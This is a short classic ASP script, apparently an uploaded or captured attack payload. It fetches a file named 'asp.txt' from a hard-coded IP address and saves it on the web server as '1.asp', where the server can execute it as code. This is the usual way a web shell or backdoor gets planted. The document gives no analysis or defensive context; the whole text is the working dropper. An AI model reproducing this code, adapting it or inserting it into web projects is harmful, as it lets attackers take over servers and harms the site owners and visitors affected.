123456 <% Dim objXMLHTTP, strURL, strFileName strURL = "http://160.250.128.197/asp.txt" strFileName = Server.MapPath("1.asp") Set objXMLHTTP = Server.CreateObject("MSXML2.ServerXMLHTTP") objXMLHTTP.Open "GET", strURL, False objXMLHTTP.Send If objXMLHTTP.Status = 200 Then Set objADOStream = Server.CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 objADOStream.SaveToFile strFileName objADOStream.Close End If Set objXMLHTTP = Nothing %>